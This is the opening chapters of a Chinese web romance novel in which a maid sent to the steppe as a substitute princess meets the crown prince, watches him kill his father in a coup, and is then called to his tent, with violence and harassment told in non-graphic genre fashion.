《替嫁草原后和黑月光he》
1. 第 1 章
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叙华/24.10.5
1.
穆凝姝忽感脚下震动,抬眼望去,不远处,一队人马正朝她这方向跑来。
为首那人,鲜衣怒马,茶褐色长发微微蜷曲,随猎猎寒风飘扬。
她看上好一会儿,才将此人和记忆中的太子赫连煊对上号。他经常外出征战,距离最后一次看到他,已是两年前。
听说,这两年间,他去了其他部落当质子。
马背上的太子殿下英姿挺拔,比她印象中高大些许,大概是因长身体的缘故。
他年龄并不大,今年才十九岁。
几个男人朝赫连煊迎上去,他勒马止步,同他们说话,谈笑间,爽朗和煦。
穆凝姝瞧过两眼热闹后,继续垂首忙活自己的事。
平日里,她在马场做工,养马喂马,打扫马厩。前些日子雨雪交加,粮仓里进了水。今日难得放晴,得抓紧时间翻晒下储存的马粮,以防发霉。
又是一年冬,快过年了。
她顶着姜国公主名头来草原和亲,一晃,三年已过。
天气好,连带着人心情都松快许多,她随口轻声哼段中原歌谣。
她一门心思都在正在晾晒的粮草上,等察觉到动静不对时,抬头一望,一匹高头大马疾驰嘶鸣,朝她狂奔而来,只在丈余外。
根本来不及躲避。
穆凝姝本能闭眼,预料中的疼痛却没有到来。
她身子一轻,再睁眼时,赫连煊放大的脸庞近在咫尺。她整个人窝在他怀中,腰身被他紧紧箍住,两人倒在地上。
准确说,是赫连煊倒在地上,给她当了人肉垫子。
她趴在人家臂弯与胸膛间,稳稳当当。
方才远看,她并没觉得他有多魁梧,现在贴身接触,才发觉二人身量差距挺大,身下之人,胸膛宽阔温暖。
“你还要趴到什么时候?”
上头传来阵男声,嗓音低沉。
穆凝姝闻声抬眼,正好对上赫连煊喉结。或是才刚从马蹄下抢人,他呼吸略显粗重,那块凸起随之上下起伏,很是明显。
她醒过神,慌忙爬起来,让到一旁,她刚朝赫连煊伸出手,打算拉他一把,见人家已经站了起来。
穆凝姝收回手,在衣裳上蹭蹭,装作若无其事。
那匹罪魁祸马,已被马奴们制服带走。
她还未来得及跟赫连煊道谢,一年轻男子策马冲了过来,跳下马,直奔向赫连煊处,似笑又似关切:“大哥可还好?若是伤着了,弟弟我罪过可就大了。这匹马今儿才送来,野性未驯,受点儿惊,竟冲破了栅栏乱跑。”
说罢,男子目光朝向穆凝姝,数落道:“你说你这人,长着俩眼睛不瞧事儿,不知道自个儿躲躲啊。你被踢死活该,别连累咱们金枝玉贵的太子哥哥。”
穆凝姝:“……”
她在专门的空地晾晒,真论对错,那也是纵马者的错。
但这大实话,她可不敢说出口。
眼前这人,名唤赫连涛,是部落二王子,性子骄纵得很。狗看到他都晓得绕道走,生怕被他路过踢一脚。
穆凝姝一心只想快些了事离开,丝滑低头认错。此技能为混日子的基本素养,她做得十分娴熟。
赫连涛听到这女奴声音竟意外的柔,顿时起了兴致,伸手扣住穆凝姝下巴抬起,看清脸面后,轻浮笑道:“我当是谁呢,原来是凝姝阏氏。瞧你这脸脏的,我都没认出来。”
穆凝姝朝后缩缩,想躲开他的手。无奈赫连涛力气大,没有放开的意思,见她躲避,反倒越发来劲,扣得她脸颊生疼。
她拗不过,眸中不自觉染上层厌恶。
赫连涛眼神转向赫连煊,笑嘻嘻打趣道:“还是大哥会救。有个词叫什么来着,怜香惜玉。”
赫连煊神色淡然,语气亦是淡然:“谈不上,方才情急,看都没看清是谁。那马高大,受惊踩踏会出人命。二弟,你也该收收性子,纵马伤到族人就不好了。”
他抬手捏住赫连涛手背,略一用力,拽下,眼神扫过穆凝姝,话却是朝赫连涛说:“人家既是阏氏,便也算是你我的庶母,你这般行径,若是让父王知晓,不妥。”
赫连涛讪讪,却嘴硬道:“摸几下而已,又没什么。父王不喜欢她,才不会在意。你看她脏的,我还不稀得多碰。”调戏女人的事他天天做,不过明面上调戏亲爹的女人还被兄长说教,他也要点儿脸皮,转移话题,“大哥,你衣裳都被她弄脏了。”
穆凝姝朝赫连煊看去,方才还鲜亮的红袍,此时满是尘土,胸前还堪堪印着俩黑手印,一边一个,对称得紧。
她默默将自己的两只爪子往身后藏藏。
赫连煊一手轻拍衣裳,另一手牵过旁边的黑马,把缰绳递给穆凝姝,吩咐道:“照看好它。”
黑马似是对主人胡乱将它交给陌生人喂养的决定十分不满,抬起前腿乱蹬嘶鸣。
赫连煊看都没多看一眼,抬手一巴掌拍它马嘴上。
黑马瞬间老老实实低头,朝穆凝姝走两步。陌、陌生人也挺好,陌生人不给大耳刮子。
穆凝姝接过缰绳,应下差事,朝王室专用的马厩那边走去。贵人们的宝马不和普通马匹一同养在马场。
兄弟二人朝王帐方向走去,跟穆凝姝同路。
她离着段距离,走在他们后头些。
二王子赫连涛平日里爱好极为专一,一爱好马,二爱好女人。此时刚好二者同时在场,他话头自是离不开这两样,扯着赫连煊闲聊,问他喜欢什么样的女人。
赫连煊话语不多,被赫连涛反复问上好几次后,言简意赅吐出两个词来:“热情,奔放。”
赫连涛哈哈大笑,忙不迭赞叹赫连煊跟自己品位一样高雅,同这位久别归来的兄长大方荐爱:“前天我碰到几个舞姬,长相娇媚,性子也够奔放。好东西大家一起乐乐,今晚我给哥哥你送去帐中替你接风洗尘……”
恰好到岔路口,穆凝姝顺风耳听八卦到此为止,同二人分道扬镳。
她到达马厩后,不多时,马奴们送来一桶萝卜,一桶黑豆
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。因赫连煊身量高,他的坐骑黑马也比寻常马匹高大许多,名唤“绝影”,名驹长得壮,吃得也多。
萝卜红通通,水灵饱满。冬季的草原冰封千里,新鲜蔬果难得一见,贵人主子们才吃得上。像这样的萝卜,奴隶们整个冬天都啃不到一只。
穆凝姝拎过萝卜喂马,随手拿起一颗黑豆塞嘴里嚼嚼。黑豆竟是甜的,竟是拿糖炒过的,香喷喷。
绝影大快朵颐,她顺带沾光吃上几把炒豆过瘾,毫不客气拿出一只小荷包,装得满满当当。
很快,又有马奴送来取暖用的干牛粪和泥盆,以及防马蹄皲裂的膏子。
穆凝姝将干牛粪放在泥盆中点燃。干牛粪在草原上常作当炭火用,燃烧时并无臭味,而是淡淡的干草味,并不难闻。
生好火盆后,她给绝影的四只马蹄上膏子。这膏子品质甚好,人也用得,她手上虽生有冻疮,却并不想用。她受不了这种湿黏的触感,便弄来些清水,将双手洗干净。
黑马吃饱喝足,乖乖趴在她身旁,一人一马围盆取暖。
接连三天的早晨,赫连煊都是亲自来马厩取马,来必打赏下马厩里的仆役们,连穆凝姝这种临时派来的马奴都有份。和亲以来,她还是头一回得贵人赏,因而照顾绝影时,越发勤恳。
******
赫连部每年冬季都会举办狩猎赛会,此次接近年关,又逢太子回来,越发盛大,接连几日热火朝天,节日气氛浓烈祥和。此盛会与民同乐,连奴仆们都可轮流休假观看。
赛会上,最引人瞩目的项目是射箭。
穆凝姝在马场做事,这几天的比赛,一场未落。因着这几日得了太子殿下的好处,她自然对其关注更多,连带着听了不少关于他的闲话。
周边看热闹的姑娘们心旌摇曳,言语里全是对太子殿下的倾慕。
往大了说,太子能征善战,是部落里最厉害的勇士。两年前他为了赫连部,去其他部落当质子,直到今年才得以回家探亲,是真英雄。
往小了说,太子为人毫不骄矜,性格爽朗,平时待人宽厚,路上遇到老奶奶摔倒了,他都能上前扶一扶。对于一个贵族而言,这份和蔼可亲是多么难得可贵。
穆凝姝想到上回赫连煊救她于马蹄之下,还不计较她弄脏他衣裳,再想想这些天的赏钱,不禁对这位出手大方、笑意温和的殿下印象颇好。
太子殿下对于赫连部而言,的确是个温良恭俭让的好人。
她踮脚望去,心里暗自给太子殿下加油鼓劲。
这场比赛,骑着快马还要拿箭射沙鼠狐狸等灵活猎物,又难又刁钻,连她这种不懂骑术射术的人都看得心潮澎湃。
今日恰逢天公作美,乌云消散,风停雪歇,是草原长冬中里难得的好天气。
赫连煊红衣猎猎,雄姿英发,身下绝影飞驰如黑风。
在日光的照耀下,他那双金黄色的双眸,越发璀璨。
金光闪闪的太子殿下,忽然折腰跨马,眸光凛冽。
回首一发冷箭,将他老爹的脑袋射了个对穿。
2. 第 2 章
穆凝姝:“……”
她方才夸他什么来着?
哦对。
温,良,恭,俭,让。
塞北三年的风,不是白吹的。
草原上动不动就打打杀杀,躲避是为保命的第一法宝。穆凝姝左右瞄几眼,钻进角落的一堆干草里。
透过缝隙,她望向远方的红衣身影,宛如杀神,丝毫不见先前那温良模样。
赫连煊平日一副贤良宽宥模样,着实装得太好,这次借射猎大赛起事,令人毫无防备。他惯来善战,狠厉杀伐,当屠刀朝向自己人时,更是知己知彼,百战不殆。
很快,这场儿子造老子的反,以老单于的脑袋被挂在王庭正中央宣告结局。
针对老单于残余势力的血腥镇压,持续了足足十来天。
之后,赫连煊彻底占据王庭,继位为王。
放出来的官方消息很体面——赫连部老单于突发急病暴毙,赫连大阏氏悲伤过度,随之而去。太子赫连煊继位,为赫连部族新单于。
一场血腥政变,很快在时间流逝和人为抹杀中变得理所当然。
部族里的生活,缓缓恢复到往日的平静中。
赫连煊继位半个月后,终于宣布召见所有阏氏。
所有人都松了口气。
这道旨令意味着清洗结束,余下之人平安了。
按照草原惯行的收继制,新单于会继承老单于所有的妻妾们。
继位后的第一次召见,实质是选秀。
此次待选阏氏,多逾五百人。
对于不得宠的阏氏们而言,这场选秀尤其重要,改命翻身的机会,就在此一役。
草原环境艰苦,狼多肉少,得宠和失宠,待遇天差地别。太子造反上位的恐怖,远远比不上每天的挨饿受冻。
该争的宠,照样得争。
赫连部的阏氏们皆摩拳擦掌,精心准备,盼望时来运转。
穆凝姝也随大流努力一番。
她将脸面洗干净,再换上一身干净衣裳,这是她对新王最大的尊重。她对选秀不抱期待,走走过场罢了。
选秀当天,王庭前的空地架起露天高台。
根据赫连部规矩,生育过孩子且上了年纪的老阏氏们可免于选秀,无论新王是谁,都得厚待养之。除此以外,所有适宜婚孕的阏氏们都得参加。
众女按照年龄和部落出身,依次排好,供新单于的挑选。
等候许久,赫连煊才出现。
他一身赤红烫金箭袖长袍,长发自两鬓编辫,半披于身后,大步流星朝高台之上的王位走去,身后微卷的茶褐色长发随之飘动,如点染了碎金的绸缎。
坐定后,赫连煊目光浅浅扫了一圈,人数众多,密密麻麻。
他眼中透出些不耐烦来。
众女也在偷偷打量这位新单于。伺候这位年轻君主,可比伺候赫连天雄那老头子愉悦得多。当太子那会儿,赫连煊便俊朗过人,凤表龙姿,如今当上了大单于,权势养人,气势风貌越发张扬肆意,比从前多出股凛然不可犯之势。至于什么造反篡位,那都是男人间的事,跟后宫无关。
穆凝姝站在队列最后头,看这出新旧交替的宫斗戏拉开序幕,心态悠哉。
从前她在姜国王宫时,听说过许多后宫秘辛。出塞后,发觉世间人性都差不多,草原后宫争斗同姜国一样激烈。
今日过来前,大家都特意打扮过,争奇斗艳,粉墨登场。不过再怎么斗,都跟她没关系。
五百多号人,一一看完能把赫连煊累死,因此女子们都是按照家世和从前的位分高低来排序,估摸着压根轮不到她。
阏氏们才轮番上场几个,赫连煊的耐心便已消耗殆尽。
他眼神草草扫过人群,忽然望见最后排处,露出的一柄镂空梨花银簪。
赫连煊指指那处,示意近侍札木尔,吩咐道:“叫她过来。”
穆凝姝被札木尔引至前方,在众女侧目中,一头雾水。
王座上,赫连煊单手撑于扶手上,姿态恣意随性,再不复当太子那会儿的端正克己。
他问道:“来着何人?”说话间,他嘴角噙着点笑意。
“小女穆凝姝,为中原姜国公主。”穆凝姝垂首,双手交叠胸前,严格按照赫连部礼仪请安作答。部落有规矩,不可直视君王,她自然看不到他唇边本就不明显的笑。
未等赫连煊说话,一声娇笑响起。
众人闻声,目光转到那声音主人身上。
待选席最前方的首位处,坐着一位妖艳美人,衣着华美,珠宝闪烁,腹部有明显隆起。
此女名唤雅曼,为老单于生前最宠爱的侧室阏氏。
她纤手轻抚腹部,朝座上赫连煊妩媚一笑,道:“大单于可是瞧上了这位凝姝阏氏?”
赫连煊冷声反问:“孤想做什么,还需跟你禀报?”
雅曼将声音放得绵软,体贴道:“当然不是。我是担心,大单于先前许久没在部落里生活,对这位姜国公主不太了解。穆凝姝虽为公主,却早在嫁到涂丹部之时,就同下贱的马奴苟且,人尽皆知。此等事情,大单于不可不察,雅曼也是怕大单于遭外族人蒙蔽才冒昧告知。”
穆凝姝:“……”
她就知道,雅曼一开腔,必定离不开马奴这件旧事。
******
三年前,穆凝姝从姜国出塞,前往和亲的部族并非赫连部,而是当时最强盛的涂丹部。
和亲途中,忽然遇刺。
涂丹部的接亲队伍里多为军中精锐,他们虽击退了刺客,战况却惨烈,损失了大半士兵,以及两位涂丹名将。
和亲公主的仪仗后,残兵们抬着那些将士的尸首,紧紧跟随。
穆凝姝到达涂丹部时,涂丹单于在外征战,她未有机会拜见,先见了涂丹阏氏。
涂丹阏氏见其不同于草原女人的娇美姿容,顿感威胁,心生厌恶。但她作为阏氏,得有宽厚仁慈姿态,不好随意打杀一国和亲公主。
草原人信奉天神,涂丹阏氏便指派巫祝说穆凝姝命带不详。
巫祝言之凿凿,公主一来就让涂丹损兵折将,若是不加以祛邪,以后还将给涂丹带来血光之灾。他口中的祛邪之法,对一个女子而言,残酷野蛮至极——公主阴气重,该以男子阳气相祛。
涂丹阏氏依言,直接将穆凝姝扔进豢养奴隶的圈地,里面都是最底层的涂丹男奴隶,粗鄙低贱。
娇美非凡的公主,如仙女,入污池。
这样一来,即使这位公主侥幸存活下来,涂丹单于也不可能再看上她。
后事发展如涂丹阏氏所期待那样,穆凝姝再无获宠机会,一直待在马厩为奴。
直到某个深夜,赫连部突袭涂丹部。
涂丹单于和大阏氏等贵族中的高层,都死于赫连煊刀下。
那是穆凝姝第一次见到他。
当时,她亦是躲在草堆后,暗中窥伺。
战火将夜幕点燃,赫连煊一口长刀砍得卷刃,整个人如浴血而出,面容被层层血迹覆盖住,恍若恶鬼。
他在她心中,从一开始,就与杀戮二字密不可分。
之后,在众口铄金的夸赞和他偶然的和气中,她竟也渐渐忘却了他原始的模样。直至他造反弑父,再次暴露其真容。
涂丹灭亡后,涂丹部的阏氏们都作为战利品,归赫连老单于所有。
雅曼同穆凝姝一样,也曾为涂丹单于的阏氏。
但雅曼颇有本事,找准时机向赫连老单于献媚,不仅成功保住性命,还继续了自己宠妃之路。她跟着涂丹单于时是宠妃,改跟赫连老单于后,依然能当上宠妃。
作为两朝宠妃,雅曼自有其手段。无论是何种来路的阏氏,但凡敢露出一丝争宠之心,都遭受她打压,逐渐凋落。
穆凝姝虽无此心,雅曼却没放过她这个貌美的潜在敌人,甚至下手更快更狠,直接掐断她获宠的可能性。
在老单于选秀时,雅曼将马奴之事添油加醋描述一番,等身居高位,权力在握后,更是让穆凝姝日日以黑粉涂面,下放到马场为奴,连面都不让老单于见。
因此,穆凝姝在赫连部里,也一直身居底层,未能翻身。
草原习俗与中原不同,中原人看中女子贞洁,草原人却更看中能否生养,以及女子前夫的地位。
老单于子嗣稀薄,雅曼却能怀上身孕,在草原上是有福气的象征。
论起前夫,雅曼长袖善舞,八面玲珑,无论是在涂丹部还是在赫连部,都是宠爱加身,实乃王者必备之妖妃。
草原男子喜欢征服强者的女人,好似这样就越发能凸显自己的英勇,彻底踩在女人前任头上。
反之,穆凝姝与低贱马奴有染,同这种人在一起,属于拉低自己的格调。
雅曼今天这招是故技重施。
拜雅曼所赐,在场所有阏氏多少都听说过穆凝姝这段丑闻,现下戳破在赫连煊面前,大家看好戏的心思越发浓厚。
穆凝姝站在众人瞩目处,作为丑闻中心,她的心情倒是平静如初。
她从一开始就预料到会有此事,所以知晓选秀于她只是走过场。
要么压根轮不到她,要么轮到她也会被人精准打击痛处
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,即使不是雅曼,也会有旁人告发。
宫斗手段,就是这么毫无新意、朴实无华。
但有效。
穆凝姝象征性替自己辩解:“雅曼阏氏所说之事,都是谣言。”
此话一出,雅曼果然越发来劲,描述得越发生动,想再一次彻底解决这棵美人刺。她深谙男人心理,对付一个漂亮女人,没有比渲染其自甘污秽更有效的方法。而黄谣的厉害之处则在于一旦传开,不管事实如何,涉事女子都百口莫辩。
穆凝姝却没想真辩。她之所以反抗这么一句,是为了挣扎给赫连煊看,表明自己对王权的臣服和向往。
实则,她发自内心地不在意所谓的丑闻。
从前,她压根不想侍奉那个年纪大得能当自己爹的老单于。
如今,她也不想侍奉赫连煊。
王族内争斗历来残酷血腥,赫连煊弑君杀父,挺好理解。估计是二王子赫连涛年岁大了,老单于对于王位继承人人选有所动摇,赫连煊干脆先下手为强。
太子殿下前一天还装得温良恭俭让,后一天狠厉无情造反。
所谓伴君如伴虎,便是如此。
比起侍奉阴晴不定的帝王,她还不如在马场喂马。
前者劳心,搞不好随时丧命。后者虽劳力,但相对安全,还能时不时摸鱼划水。
雅曼的造谣,歪打正着合她心意。
她才不要为了这个莫名其妙得来的继子夫君自证清白。
赫连煊爱怎么想怎么想。最好恶心个够,直接将她扔回马场,眼不见为净。
比起穆凝姝的淡然,赫连煊脸色却越来越黑沉。
“闭嘴。”他打断雅曼,眼神瞥过雅曼隆起的小腹,抬手扣住她的双颊,“哪怕在狩猎期,草原上的人也不杀有孕的动物。雅曼,如果你还打算活着,就管好你的嘴。若是太难管,孤不介意割下你的舌头,帮你管。”
说罢,赫连煊扔开雅曼,冲札木尔道:“将她禁足,无令不得出。”
雅曼下巴几乎被他卸下,痛得厉害,却很是识相,连惨叫都不发出。她心中明了,赫连煊对她无意,自己再非昔日受宠阏氏。
突发此状况,赫连煊似是没心情再选下去,选秀潦草结束。
众女走在路上,对穆凝姝飞来眼刀。难得的翻身机会,就这么没了。
草原民风彪悍,穆凝姝怕触犯众怒挨揍。她默默往人群稀少的路走,绕了一大圈,才回到自己住处。
毡帐门口已有人等候她。
一个年长的嬷嬷,身后跟有一串侍女。
嬷嬷笑容可掬,朝她行礼,道:“凝姝阏氏吉祥。您今晚要去侍奉大单于,奴等奉命前来伺候您洗漱,还请随奴移步。”
穆凝姝双瞳地震。
事情的发展方向,跟她设想中大相径庭。
赫连煊,召她侍寝。
啊这——这人有病吗?
按照雅曼绘声绘色又不堪入目的谣言版本,她是被一群马奴给……那什么了,后来还直接跟其中一个丑陋低贱马奴看对眼儿,同住在马厩棚屋,恬不知耻。
都传得这般难听了,还叫她去侍寝。
他是有什么特殊癖好吗?
一阵恶寒攀上她背脊,凉飕飕。
说不定……赫连煊还真就是有特殊癖好。
细思一番,他先前装好人装得那么投入,必定是屈心抑志至极,然后,逐渐在压抑中变态。众所周知,卧薪尝胆的勾践成功后,就变态得很,斩杀功臣无数。
所以雅曼那番话,恰好给了赫连煊启发,打算拿她玩点刺激的?
如果他是做此打算,到时候真刀真枪,他却发现她居然白纸一张,什么花样也不会……那她只会死得更加惨烈。
穆凝姝正思索如何才能婉拒,嬷嬷已等得不耐烦,让两个侍女将她“扶”走了事。
草原女子生得健壮,这俩侍女一左一右,直接将她架了起来,走得飞快。
一个时辰后,她人已到达赫连煊帐中。
她努力找借口妄图逃避,但无效。嬷嬷只有一个态度,唯大单于命令是从,对她的话,充耳不闻。
此毡帐为大单于住处,相当于中原皇帝的寝宫。虽为毡帐,却很是宽阔奢华,以屏风和帘幕分割成了数个区域。
里间传来水声,是他在沐浴。
透过屏风,依稀可见腾腾水汽升起。
一道男子身影映照在半透的屏风上,肩背宽阔,至腰腹处却忽然收紧,变得劲窄。
影子随晃动的灯火,影影绰绰。
直晃得穆凝姝一颗心七上八下。
3. 第 3 章
床榻前铺的地毯色泽艳丽,花纹繁复。浓稠颜色之上,美人一袭白衣,折膝跪坐。
明明是极常见的姿态,落在她身上,格外娉婷袅娜。
然而此时,美人本人内心远不如外表这般纤瘦。
穆凝姝头昏脑涨。
准确来说,是脑子里乱成了一团浆糊——她一个不小心,将知识学杂了。
妄图逃避侍寝惨遭嬷嬷无情拒绝后,她很快接受现实。当即拿出赫连煊给她的赏钱,跟嬷嬷寻求指点。
她是个非常看得开的人。
是祸躲不过,不如想办法让自己被祸害得舒服点,至少别触怒赫连煊,痛失小命。
嬷嬷挺实诚,收下钱,办事不含糊,话不多说,直接扔给她一本宝典。
厚厚一册,足足百余页……全是春宫图。
按嬷嬷所吹嘘,此册子是她干引导差事多年,压箱底的宝贝,要不是穆凝姝花的价钱够多,她还舍不得相送。
穆凝姝泡在浴桶里,临时抱佛脚,求知若渴。
才翻过几页,其彪悍程度吓得她差点把书掉水里,幸亏嬷嬷眼疾手快救下。
她悔恨,当年怎么不早点秉烛苦读。
三年前出塞时,姜国也给她准备过这种压箱底的小册子。真正的压箱底,放在嫁妆箱子最深处。因她心底丝毫不向往那位涂丹单于,自然对此类学问毫无求知欲,便懒得翻找,寻思着,等到了圆房那晚再随意看看,或任由单于摆布便是。
谁知她连涂丹单于面都没见到,人去了马厩,嫁妆则都被涂丹阏氏没收,仅给她剩些随身细软。
她从前隐约知晓这件事有些可怕。
此番深入学习后,岂止是有些可怕,简直是可怕至极。
早知今日得看这些不堪入目的东西,当年她就该先好好研习下自己那本册子。
想必中原的册子,一定比这册含蓄温婉得多。
她若先看过,由浅及深,也好过渡下,有个心理准备,不至于像现在这般消化不良,甚至因冲击过大而隐隐反胃。
横看竖看,满册子图画里,她只看出“尔乃蛮夷”四个字来。
但事到如今,只能入乡随俗……学吧,学无止境。
经过火急火燎的浸淫,穆凝姝自觉,腹有春宫气自狂。
嬷嬷买一送一,手指沾上赤红色胭脂,给她点在唇间。
很好,现下红唇其外,春宫其中。
她这辈子没今夜这般奔放过。
******
但在看到赫连煊朝她走来这一刻,穆凝姝努力构建起的心理准备依旧瞬间土崩瓦解。
他仅仅穿了条长裤,未着上衣,露出浅麦色胸膛和腰腹。肌肤上,伤痕零星,衬得本就坚实的身材越发野性。
实、实乃蛮夷。
她忍不住将他代入方才看的那些画册中。以他和她的体型差……她着实为自己的命数捏一把汗。
赫连煊手指刚触到穆凝姝肩膀,便觉一阵瑟缩僵硬,虽然她动静极其细微。
她乌发未绾,披散如瀑,衬得脸色越发莹白。素净脸上,未施粉黛,只在唇间点了些许赤红胭脂。一抹浓色,在她唇上相得益彰,未流于俗气,反倒突显其清丽。
只是那双漂亮的眼眸中,毫无喜色。
王族生活险象环生,他从小察言观色着长大,对人情绪变化十分敏锐。她自以为掩饰得很好,实则,眸中对他的畏惧和反感,藏都藏不住。
同那日她被赫连涛轻薄时,一模一样。
赫连煊指尖摩挲了下她的衣裳,坐到一旁的床榻上,随意拿着块帕子擦拭湿发。
距离拉开,穆凝姝却未敢放松。
她捉摸不透赫连煊。
这人性子阴晴不定,她方才控制不住的僵硬反应,必定扫了他的兴,还不知下场会如何。
她企图再度挣扎下,站起来朝他走去,坐到床榻下的脚踏上,抬手伸向他腰腹。
手指触碰到那片肌肉,触感紧实得令她吃惊。
她从没这样触碰过男子,而她自己的腰腹,手感不是这样的。
赫连煊捉住她作乱的手,道:“不情不愿的,何必?”
她有多勉强,是个人都能看出来。
穆凝姝不知所措。
叫她来的是他,嫌她寡淡的是她,她现在努力主动热烈点,躲开的还是他。
真难伺候。
她找不到解题方法,心里有些发慌。
那你让我来干嘛?
她想问他。
然而不敢。
话头在嘴里转了几个弯,她委婉道:“那……大单于想让我如何?”
赫连煊将帕子扔去一边,嘴角勾出点笑来,道:“公主不必拘束。你今夜过来,是内庭嬷嬷安排的。用不着怕孤。孤对你……”
他没再说下去。
穆凝姝顿时放松许多,原来不是他点的人。
也对。
草原上的人本就比中原人放得开,贵族们更是见多识广。赫连煊确实很难对她产生兴致。
既是无男女间那层事,她话也多起来,忍不住好奇:“那为何会安排我?”
挺奇怪。
草原上的人大多属于敕加族。此族中人高鼻深目,同中原人长相差异甚大。
按照审美,通常大家都会更偏爱本族的美人。譬如姜国后宫中,虽也有几位异族美人,但最受宠的妃嫔都是姜国人。同一族群,面容看上去亲切些,交流起来也更流畅。
今夜是新单于登基后第一次宣召美人,照理说怎么都不该是她这个外族人。
赫连煊略加思索,语气淡然:“自然是出于礼让。公主是外宾,外来是客。”
“我竟不知,你们还有讲客气的时候。”穆凝姝脱口而出,旋即后悔。
她来草原后,就没被礼遇过,这些蛮人看不上姜国,遑论一和亲公主。没想到今夜竟还真让她沾了点外宾的光。
可话一出口,便收不回来,她默默观察赫连煊神情。
赫连煊朝她瞥一眼,“新朝新气象。怎么,公主对孤的新政有意见?”
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“当然没有。”穆凝姝露出个真心实意的笑,想起自己重新担负起了久违的公主名号,连腰板都不自觉挺直了几分。
她拿出些一国公主该有的框架来,正襟危坐,道:“大单于愿结好礼遇,本、本公主自然欣喜。”
想来眼下赫连煊刚夺得王位,内政繁忙,没心思对外扩张多增外患,便连带着对她这外来公主友好些,安抚下人心。手下的人揣摩他心意,安排她来侍寝。
逻辑十分通畅。
穆凝姝深知,赫连煊惯会装纯良。即使此时他显得温和,她亦不敢掉以轻心。
她安安静静坐在一旁,等他先安寝。
赫连煊目光在她身上逡巡一圈。
她这身寝衣并非什么精致锦绣。普普通通的雪色外衫,衣襟袖口以红线绣了些芍药花边。刺绣手艺不佳,肉眼可见的粗糙。但就这么身东西,穿在她身上,竟也有种说不出的淡雅绝尘。
只是入寝时穿的衣裳,本做得轻薄松垮,她却将其穿得极为板正,衣襟处拢得密不透风,连脖颈都遮挡个严严实实。
他伸手,一把扯掉了她的外衫。
穆凝姝忽感浑身发凉,低头一看,衣裳落在旁边,破成可怜的几片,她身上只剩肚兜和寝裙。
说好的没兴趣呢?
难道还是想做戏做全套,礼貌性跟她颠鸾倒凤一番?
做戏罢了……倒也不必这般敬业。
赫连煊看向那片碎布,道:“这衣裳料子糙得很,公主穿着,能睡着?”
穆凝姝痛惜道:“哪里糙了,明明是很细软的棉衫。”
她除了出嫁那会儿,就没穿过这么好的衣裳。
赫连煊眼神里微微染上几丝诧异,道:“姜国盛产蚕丝,王公贵族皆会享受,衣着锦绣。公主金枝玉贵,竟连这种东西都看得上。”
穆凝姝顿时脑中警醒。
果然,赝品的暴露都在不经意当中。
真假公主,细节处见真章。
赫连煊是在怀疑她,所以突然试探?
不愧是潜伏造反的一把好手,好深的心机。
她急中生智,正色道:“我们姜国,自然不缺锦绣丝织。本宫从前在宫中,亦是娇生惯养。只是嫁来草原许多年,经历了些磨练,对民生疾苦也多了层感悟,懂得珍惜东西罢了。真若仔细说来……”
她手指拈起那件白衫,软软糯糯,好舒服,口中却嫌弃:“确实粗糙。本宫穿着,肌肤都磨得有些痛。”
说罢,学着赫连煊的模样,随意扔回地上,不屑一顾。
抬眼再看赫连煊,他眼中诧异消失不见。
只是看着她,眸色深沉。
穆凝姝舒口气,还好她反应够快。
她缓缓低下头,忽然发觉,此情此景,两人的打扮都过分清凉,很是要不得。
王帐中燃着兽金炭,散发出清新好闻的松枝香气,没有一丝烟。
两人一时无话,偌大寝帐,沦入寂静。
兽金炭偶尔烧出点儿细微动静来,噼里啪啦。
4. 第 4 章
一件赤红衣袍劈头盖脸落下,将她笼得严严实实。松香冷冽浅淡,四面八方袭来。
她抬手将衣袍扒开,露出一双黑亮眼眸。
赫连煊抱臂,望着她,“不知孤这件衣袍如何,公主不妨品鉴一番。”
他眼神中带点戏谑,抑或是其他情绪。
轻松,恣意。
她闻声,低头垂眸,身上这件衣袍是以羊绒织成,体感极细腻。
睡袍宽大,她披着能曳地,是属于他的衣裳。
穆凝姝装模作样轻揉两下,寻常道:“大单于的东西,自然是极好的。”
再进一步的细致品鉴词,她是编不出来了。
好在赫连煊并未就此追问下去。
他躺到床榻里侧,侧身朝墙,背对她睡下。
看他这意思,今夜是让她穿着这个睡。
她将羊绒衣袍裹紧些,躺在床榻外侧,自觉离他远远的。
榻旁放着好几床厚绒毯。她扯过一条给自己盖上,见赫连煊兀自躺在那儿,裸着上身,犹豫要不要给他也盖上一床。
思来想去,决意不去多管闲事。
一来,赫连煊宁愿面壁都不愿对着她睡,可见今夜这安排于他而言,算不上愉快。她去给他盖被子,他不见得领情,反倒烦她打扰。
二来,赫连煊仅仅从面料粗糙入手,连续试探她两次,她再多生出些事端来,保不齐又引出他新的猜疑,导致公主身份不保。
她这个公主,是假的。
姜国帝后舍不得亲生女儿嫁到苦寒之地,找个貌美小宫女封为公主,用以替嫁,古往今来,寻常得很。
对于此事,穆凝姝心中并无怨怼。
和亲是为讲和而非结仇,满心仇恨的女子去敌军枕边吹邪风,只会适得其反。因此,当初遴选宫女时,自愿是为第一条,册封出塞之人可得重赏,公平买卖,童叟无欺。
穆凝姝在姜国王宫里时,便是粗使宫女,出塞换个地方干活儿,于她而言,大差不差。在草原上这三年来,她虽一直做些粗活儿,生理和心理上却都十分适应。
反倒是今夜,险象环生。
假扮公主,乍一看是美差,但真深究起细节来,并不容易蒙混。
宫中奴婢等级分明,穆凝姝属于最底层宫女,从未伺候过贵人主子,更未见过真公主的生活。
她扮公主,纯靠想象。
东宫娘娘烙大饼,西宫娘娘剥大葱,皇帝锄地只用金锄头。
嘲笑人没见识的笑话,此时化作具象。
和亲那会儿匆忙,她紧急培训堪堪十天,便踏上出嫁路途。
在这短暂时光里,她日夜苦学公主礼仪、外交辞令,以及草原部落风俗概要等等。
但一个金枝玉叶公主的养成,需要十五年的锦衣玉食。贵族女子吃穿用度细节,她无法像背书那样快速掌握。
是以方才赫连煊看不上的那件衣裳,在她眼里都算好东西。羊绒摸着挺舒服,到底怎么个好法,她说不出个所以然来。她在中原时没见过羊绒,在草原这几年无宠不配用。
险些害她露马脚。
赫连煊靠一手演技扮纯良,谋朝篡位,她偏偏遇上这么个行家,真是倒霉,以后务必多加防备。
她心里这么想着,身体却扛不住困乏。
短短一日内,先是选秀,继而侍寝惊吓,劳神费力。眼下被窝温暖,他衣袍散发出的松枝清香令人放松。
纵然她希望保持清醒,眼皮却不受控地沉重。在最后一丝意识消散前,她还谨慎地劝慰自己,无论是公主还是宫女,是个人都得睡觉。
这般一想,道理很是通畅。她放下心来,沉沉睡去。
再度醒来时,已是天光大亮。
穆凝姝躺在床榻内侧,身上盖了两层绒毯。
这个位置……昨夜赫连煊是躺在这块。
